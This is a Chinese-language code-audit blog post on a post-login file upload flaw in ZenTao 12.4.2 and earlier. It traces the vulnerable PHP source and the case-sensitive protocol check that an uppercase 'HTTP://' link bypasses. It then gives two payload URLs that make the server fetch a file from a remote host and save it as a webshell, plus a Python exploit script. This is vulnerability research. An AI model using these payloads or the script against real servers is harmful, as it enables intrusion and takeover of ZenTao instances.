代码审计:CNVD-C-2020-121325:禅道后台文件上传漏洞

漏洞背景

禅道是第一款国产的开源项目管理软件,其使用zentaophp框架开发,内置了测试管理、计划管理、发布管理、文档管理、事务管理等产品管理和项目管理功能,并为每一个页面提供json接口的api,方便与其它语言调用交互。内置多语言、多风格、搜索功能、统计功能等多种实用功能。

2020年10月14日,禅道官网发布安全公告,禅道开源项目管理软件中存在一个文件上传漏洞(CNVD-C-2020-121325)。攻击者可以通过fopen/fread/fwrite方法结合File、FTP等协议读取或上传任意文件。成功利用此漏洞的攻击者可获得目标系统敏感文件及系统管理权限。

影响版本:

  • 禅道开源版12.3.3、12.4.1、12.4.2
  • 禅道:禅道开源版<=12.4.2

漏洞只适用于Windows一键安装版(未加安全限制)、Linux一键安装版(未加安全限制)、安装包版。Windows/Linux一键安装版(加入安全限制)由于做过新上传文件限制,无法执行上传后的文件,导致漏洞无法利用。

利用条件:需要后台权限

禅道开源版12.4.2下载地址:https://www.zentao.net/download/zentaopms12.4.2-80263.html

1
wget https://www.zentao.net/dl/zentao/12.4.2/ZenTaoPMS.12.4.2.zip

漏洞分析

环境:

OS:MacOS

PHP:5.4.45

MySQL:5.7.26

将下载好的源码,放到MAMP PRO的hosts的Document目录即可启动环境。

访问 http://zentaopms:8890/www/install.php 即可安装禅道

安装完成后,设置账号密码为弱口令,禅道的安全策略会让用户强制改密码(我改为了Admin@123),这一点很不错。因为这个漏洞发生在后台,如果没办法进后台,就没办法利用。

其他都默认即可。

利用方法一

12.4.2 和 12.4.3 代码对比:

module/client/ext/model/xuanxuan.php

新增代码如下:即对文件名的扩展名进行了校验。

1
2
3
$file      = basename($link);
$extension = substr($file, strrpos($file, '.') + 1);
if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;

正常情况下,获取文件名后缀,可以看到,如果是非法后缀,都直接返回txt

/module/file/model.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* Get extension of a file.
*
* @param string $filename
* @access public
* @return string
*/
public function getExtension($filename)
{
$extension = trim(strtolower(pathinfo($filename, PATHINFO_EXTENSION)));
if(empty($extension) or stripos(",{$this->config->file->dangers},", ",{$extension},") !== false) return 'txt';
if(empty($extension) or stripos(",{$this->config->file->allowed},", ",{$extension},") === false) return 'txt';
if($extension == 'php') return 'txt';
return $extension;
}

跟进父类downloadZipPackage 方法

/module/client/model.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/**
* Download zip package.
* @param $version
* @param $link
* @return bool | string
*/
public function downloadZipPackage($version, $link)
{
ignore_user_abort(true);
set_time_limit(0);
if(empty($version) || empty($link)) return false;
$dir = "data/client/" . $version . '/';
$link = helper::safe64Decode($link);
$file = basename($link);
if(!is_dir($this->app->wwwRoot . $dir))
{
mkdir($this->app->wwwRoot . $dir, 0755, true);
}
if(!is_dir($this->app->wwwRoot . $dir)) return false;
if(file_exists($this->app->wwwRoot . $dir . $file))
{
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}
ob_clean();
ob_end_flush();

$local = fopen($this->app->wwwRoot . $dir . $file, 'w');
$remote = fopen($link, 'rb');
if($remote === false) return false;
while(!feof($remote))
{
$buffer = fread($remote, 4096);
fwrite($local, $buffer);
}
fclose($local);
fclose($remote);
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}

downloadZipPackage 方法,获取两个参数,versionlink ,将第一个参数作为路径中的一部分进行拼接(data/client/ . $version . '/'),第二个参数通过调用safe64Decode方法进行base64解码

/framework/base/helper.class.php

1
2
3
4
static public function safe64Decode($string)
{
return base64_decode(strtr($string, '.', '/'));
}

该方法同时去除字符串中的./ 来避免目录穿越漏洞

最后用fopen 函数打开远程或本地的文件呢。

module/client/ext/model/xuanxuan.php 中,(漏洞函数)

1
2
3
4
5
6
7
public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(preg_match('/^https?\:\/\//', $decodeLink)) return false;

return parent::downloadZipPackage($version, $link);
}

该方法获取两个参数,然后对link参数进行safe64Decode,再判断是否为https/http 协议,如果不是就返回false,注意到这里并没有用/i模式进行匹配,忽略大小写。(故此处存在大小写bypass)如果满足if语句,就调用父类的downloadZipPackage方法,下载zip包进行更新。

/moudle/client/control.php中的download方法调用了downloadZipPackage方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* Download remote package.
* @param string $version
* @param string $link
* @param string $os
* @return string
*/
public function download($version = '', $link = '', $os = '')
{
set_time_limit(0);
$result = $this->client->downloadZipPackage($version, $link);
if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));
$client = $this->client->edit($version, $result, $os);
if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));
$this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));
}

我们去找一下下载文件的入口点。对禅道的路由解析分析

/framework/base/router.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 设置路由(GET 方式):
* 1.设置模块名;
* 2.设置方法名;
* 3.设置控制器文件。
*
* Set the route according to GET.
* 1. set the module name.
* 2. set the method name.
* 3. set the control file.
*
* @access public
* @return void
*/
public function setRouteByGET()
{
$moduleName = isset($_GET[$this->config->moduleVar]) ? strtolower($_GET[$this->config->moduleVar]) : $this->config->default->module;
$methodName = isset($_GET[$this->config->methodVar]) ? strtolower($_GET[$this->config->methodVar]) : $this->config->default->method;
$this->setModuleName($moduleName);
$this->setMethodName($methodName);
$this->setControlFile();
}

以及setFlowURI方法

从注释中可以知道,如果为download那么下载的URI则为:

$module-download-1.html

于是构造payload:

1
http://zentaopms:8890/www/client-download-1-SFRUUDovLzE5Mi4xNjguMjI2LjEyOS9waHBpbmZvLnBocA==-1.html

这里我本地环境不知道为什么原因,上传成功后不像网上的文章能够直接得到回显。我就一直认为是没有复现成功。

结果在目录下是上传成功了的。如下图:

访问WebShell:

所以通过代码层面理解了漏洞原理之后,没有回显出地址也一样GetShell,问题不大。

利用方法二

payload:

1
m=client&f=download&version=233&link=SFRUUDovLzE5Mi4xNjguMjI2LjEyOS9waHBpbmZvLnBocA==

利用方法二和方法一的区别就是路由。禅道的两种路由解析方式。

这里看这位师傅的分析文章:

https://www.windylh.com/2020/10/28/CNVD-C-2020-121325%EF%BC%9A%E7%A6%85%E9%81%93%E5%90%8E%E5%8F%B0%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/

漏洞原理

分析完之后,一句话总结漏洞原理。

源码未对远程下载的文件进行拓展名合法性校验,if判断大写绕过,并且上传之后的文件名路径已知,导致GetShell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import os
import sys

usage = """Usage example:
python3 CNVD-C-2020-121325.py -t http://www.target.com -p 1 -rs remoteshell -m 1
result maybe: http://www.target.com/www/data/client/1/phpinfo.php
author: m0nk3y
"""

target = sys.argv[2]
version = sys.argv[4]
remoteshell = sys.argv[6] # your remote shell uri in base64encode format
mode = sys.argv[8]
payload1 = 'www/client-download-{}-{}.html'.format(version, remoteshell)
payload2 = 'www/index.php?m=client&f=download&version={}&link={}'.format(
version, remoteshell)
header = {"Cookie": "zentaosid=6d5fd22002d28df1a2001411a4d4e6d1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Edg/84.0.522.63"}
if mode == 1:
target = target + payload1
print(target)
r = requests.get(target, headers=header)
if mode == 2:
target = target + payload2
print(target)
r = requests.get(target, headers=header)
print(r.text)
target = target + "/www/data/client/{}/phpinfo.php".format(version)
checker = requests.get(target)
if 'phpinfo' in checker.text:
print("GetShell [+]!your webshell is:{}".format(target))

待完善。

其实感觉这个洞,写脚本每啥意思,因为本来就在后台上的东西,也没办法批量。在满足利用条件的前提下,手动复现也就两三步就GetShell了。

漏洞修复

升级禅道到最新安全版本

AWD中如何修复:参考官方的做法,加一个扩展名检验。

参考链接

https://cert.360.cn/warning/detail?id=ace6901fc02100078ce586ffe53d4cfb

https://co0ontty.github.io/2020/10/27/zentao.html

https://www.windylh.com/2020/10/28/CNVD-C-2020-121325%EF%BC%9A%E7%A6%85%E9%81%93%E5%90%8E%E5%8F%B0%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/

非常推荐:https://www.secpulse.com/archives/149812.html

Author: m0nk3y
Link: https://hack-for.fun/c5f5.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.